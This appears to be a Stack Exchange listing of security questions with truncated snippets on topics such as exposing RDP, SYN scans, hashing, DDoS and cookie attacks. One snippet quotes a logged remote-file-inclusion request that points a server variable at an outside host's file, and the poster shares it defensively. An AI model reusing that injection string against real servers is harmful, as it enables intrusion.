15
votes
3answers
6k views

Is there a secure way to have a publicly facing terminal server?

TL;DR We are looking at opening port 3389 for a terminal server all the advice I’ve seen is that its suicidal but without good explanations as to why. Is it really that bad? We are looking at setting ...
5
votes
2answers
637 views

What are the parameters to be logged in a web application?

I am working on developing a secure authentication system with SSO. Until now I have been using the logging framework to generate logs that help in debugging the application. I wonder if there is a ...
2
votes
2answers
360 views

Is interpreted malware easier to detect than compiled malware?

Is compiled code more of a security risk than interpreted code? I'm under the impression that it is due to the fact that compiled code can hide malicious code from malware scans.
15
votes
2answers
224k views

What are the TCP/UDP ports used by torrent applications?

I want to block torrent traffic on my network because it is utilizing too much bandwidth and disrupted my network traffic. What port range should I use and what protocol TCP or UDP?
6
votes
4answers
6k views

Man-in-the-middle Blue Coat proxy SSL or what?

I have just discovered that my workplace has enabled some new features in the Blue Coat network proxy. It seems like all HTTPS certificates in Chrome on Windows are being issued by this internal ...
1
vote
1answer
2k views

Hardening JRE deployment - webjava

I am trying to set up some hardened deployment settings for Java for the end-users' machines on my network. I have my system wide deployment config and properties files set up: %windir%\Sun\Java\...
14
votes
6answers
930 views

Is there additional security value in using passwords with words or phrases in non-English languages?

I was thinking about correct horse battery staple. I am not a native English speaker. In my language, the above could be written as: vqrno kon bateriq telbod OR вярно кон батерия телбод. Keep in ...
2
votes
2answers
714 views

SSL: How to send generated client certificate from server to avoid MITM?

The question I have is simply how do I prevent a MiTM attack on a certificate once the server side creates a new one and tries to send it to a client? Does the certificate get encrypted by rsa and ...
37
votes
9answers
2k views

Use additional “password” in Referer to hide private site?

I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain). I don't want anyone to know that there is anything at example.com, ...
2
votes
1answer
1k views

COMMUNITY SIP TCP/IP message flooding directed to SIP proxy

I have installed Snort IDS and most alarm is: "COMMUNITY SIP TCP/IP message flooding directed to SIP proxy" And i use home DSL Internet connection , should i be worried about this alarm ? I have ...
7
votes
6answers
1k views

Is leaking the hash of your encryption key a security risk?

I've been trying to design a simple archive format, that allows me to just bundle a bunch of encrypted files together. The idea, I currently have is to embed not the encryption key but a truncated ...
0
votes
2answers
772 views

WPS vulnerability scanning for handshakes to detect the attack

I was able to sniff the EAP packets from the attacker machine with a wireless card on p-mode, however i was not able to sniff this data off the user using the same card under windows. Wireshark, did ...
-1
votes
2answers
1k views

Generate openSSL certificates from within C code using commands?

This is an openSSL command for generating a private key and a certificate, openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key The question I have is whether there is some ...
2
votes
1answer
120 views

Securely store two values per user in SQL

I have come across the need in my web app to store two values for each user. These values would need to be retrievable from a value stored in a URL. I would prefer to store neither of the values in ...
3
votes
2answers
456 views

Computing entropy for a passphrase ( minimal word length … )

Edit: 2013-05-17 . 2013-05-27 After reading first answer from Tom Leek and some docs around the web, I've begin to write some options to my tool genpassphrase.pl: $ ./genpassphrase.pl -h Usage: ...
11
votes
3answers
5k views

Preventing a spoofing man in the middle attack?

I was humming along with my usual routine of listening to old Defcon videos trying to understand some of the basics of what's going on in the IT Security world, when I came across one explaining man ...
8
votes
2answers
23k views

SQL Injection: Drop All Tables

I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ...
-1
votes
1answer
157 views

how malware is added to android app [closed]

I'm working on securing apps from malware attack in project. I just want to know how app is repackaged with malware. Because for reverse engg. we've apktool, dex2jar, Java decompiler. But how ...
1
vote
0answers
555 views

OTR and/or SecureIM library for C# .NET [closed]

I'm looking for implementations (or even wrappers) for OTR or SecureIM encrypted chat protocols usable from C#. Currently I found none, and considering porting Java OTR library and/or wrapping ...
2
votes
1answer
123 views

Mark parts of strings as unsafe?

Is there a smooth way to mark unsafe parts of a string? i.e. for use in SQL. example in php: someFunction("safe text" . $unsafeVariable . "safe text" . $anotherUnsafeVariable); Is there a smooth way ...
2
votes
1answer
259 views

Decoding SMS in Chinese extracted from a Blackberry

I have a bunch of SMSs in Chinese from a forensic extraction of a blackberry bold 9780 via Cellebrite UFED. While messages in English are clear-text readable (making me feel that this has nothing to ...
12
votes
2answers
407 views

Why do browsers allow public websites to attack intranet sites?

When I'm visiting a website on the public internet, the website can cause my browser to send requests to a local IP address (such as 10.0.0.1). This can be used to attack internal web sites, e.g., ...
0
votes
2answers
154 views

Why is S/MIME (instead of PGP) recommended for such an scenario?

A large MNC with approximately 50,000 employees, and with offices in Asia, Europe and North America. This MNC operates its own PKI environment, with a self-signed Certificate Authority based at its ...
1
vote
4answers
1k views

SYN scan victim sending back RST

I'm confused on the case of SYN scan and closed ports (the case of open ports makes sense). So, the attacker sends a ~40 byte SYN packet, a "closed port" would send a RST packet back to the attacker ...
2
votes
3answers
99 views

Prevent request forgery attack

I don't know if I used the term correctly but basically this is the scenario: I am working at an application witch on every computer install must make a request to a server notifying the server that ...
1
vote
2answers
893 views

SYN scan, TCP packet question

during SYN scans, many small tcp packets are sent to multiple ports to determine which ports are open or not. But when you're streaming media, aren't you receiving many One type of ID system, the ...
3
votes
1answer
123 views

SYN scan, determining scan vs large file upload

In a system attempting to detect SYN scans, one technique is to analyze the rate of change of (network packets sent from victim host per second). Processes such as uploading a large file would not be "...
5
votes
1answer
1k views

Distributing API Keys to Mobile Apps

I'm currently developing a mobile app (iOS based initially) that consumes multiple APIs. Currently we're storing API keys as strings in the the prefix header file, and initializing most of the APIs ...
44
votes
5answers
30k views

How does hashing work?

I have been interested in Information Security. I was recently introduced to the idea of hashing. What I currently understand about hashing is that it takes the password a user enters. Then it ...
8
votes
3answers
4k views

SAML2 vs. OAuth - What are some reasonable relationships?

I have a service that allows SSO via SAML2. When SAML2 is used, we delegate the entire authentication process to the Identity Provider. We are considering adding OAuth in order to support some ...
13
votes
3answers
4k views

Protecting against cross-subdomain cookie attacks

I have been reading about cross-subdomain cookie attacks here. A quick overview of how it works (from Wikipedia): A web site www.example.com hands out subdomains to untrusted third parties One such ...
9
votes
6answers
1k views

Getting credentials using proxy server

Is it possible to get the username and password we enter into sites like facebook using proxy server? The scenario is like this : 1.My laptop is connected to a network. 2.It is configured to use a ...
4
votes
3answers
553 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
0
votes
3answers
7k views

get vs post which is more secure? [duplicate]

i have heard of programatically difference b/w get and post in web applications,Asking in curiosity which is more secure get method or post method in web applications,i expect answers in terms of ...
12
votes
2answers
1k views

Any tool for scanning vulnerabilities in browser extensions?

I am scanning browser extensions of Chrome and Firefox for vulnerabilities. Is there any tool which would help me do this?
2
votes
1answer
226 views

Removable FireWire port blocks

There are other questions here enquiring about disabling FireWire ports reversibly via software or irreversibly via hardware (e.g. epoxy/desoldering). I would like to know if there are any reversible ...
13
votes
2answers
1k views

Getting exploit reliability when using the off by one framepointer overwrite on linux

We have a program that is vulnerable to a one byte frame pointer overwrite. The stack is marked executable, the Linux machine has aslr disabled, stack cookies are disabled, and it's a little endian ...
6
votes
1answer
9k views

SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
-3
votes
1answer
133 views

Why isn't AV software configured to recognize installed program vulnerabilities?

Background (not necessary to read): I've used a few different major AV programs day-to-day over the years, and not one has ever informed me I was running code with known vulnerabilities. Not only ...
1
vote
1answer
411 views

I need a good cryptography algorithm that can be encoded and decoded

I have realized some time ago that we should not put the login/password for accessing a remote database server directly into a executable file because of the reverse engineering and memory decoding. I ...
37
votes
11answers
34k views

DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
3
votes
7answers
732 views

Can one reliably show HTTPS status in browser (not just the lock in the URL bar)?

I'm almost certain this isn't possible, as it would probably be too exploitable, but I wanted to ask the community just in case. Is there a way to determine and display the state of HTTPS on a page (...
4
votes
2answers
4k views

Extract cookies from pcap

Is there any tool to extract cookies from network sniffs generated by tcpdump (.pcap files). I know I can open it in wireshark but it will take a while until I find the domain I am interested into ...
12
votes
4answers
3k views

Handling passwords in a web application

I am trying to learn how a secure web application is developed. Particularly, I am unsure of how passwords are sent from the client to the server. For a typical user/password login form. If the client ...
7
votes
7answers
6k views

Is it compulsory to have https on e-commerce site?

I saw that some e-commerce scripts can also run without ssl, but everyone recommends to activate it to protect sensitive data. I just saw a site that has an e-shop link, if i click it my browser says ...
0
votes
1answer
148 views

The importance of changing DNS when Using Antifiltering software

Is it safe that sometimes my Anti-filtering program does not change the DNS address?
2
votes
3answers
191 views

Why are UNIX-like ACLs not a form of MAC

What is the reason for UNIX-like access permissions (both the traditional user-group-others and extended ACLs) being classified as a form of DAC (Discretionary Access Control) system and not MAC (...
23
votes
4answers
878 views

Security seals and the “perception of safety”?

I clearly understand that the security seals (verisign or norton secure etc.) shown on banking and other websites are generated using a script and available only after an ssl certificate is purchased ...
2
votes
3answers
750 views

rancid like tool for config files [closed]

I need to be able to watch directories on our servers, and track changes to files as part of our audit compliance. I have adjusted auditd to watch the directories, and send all writes and attribute ...
2
votes
0answers
169 views

SANS Forensic Course -worth it? [closed]

I'm a Security Student at Pennsylvania State University and I am considering taking FOR408 through SANS this summer in Pittsburgh (not far from my home). I really want this to help me stand out in my ...

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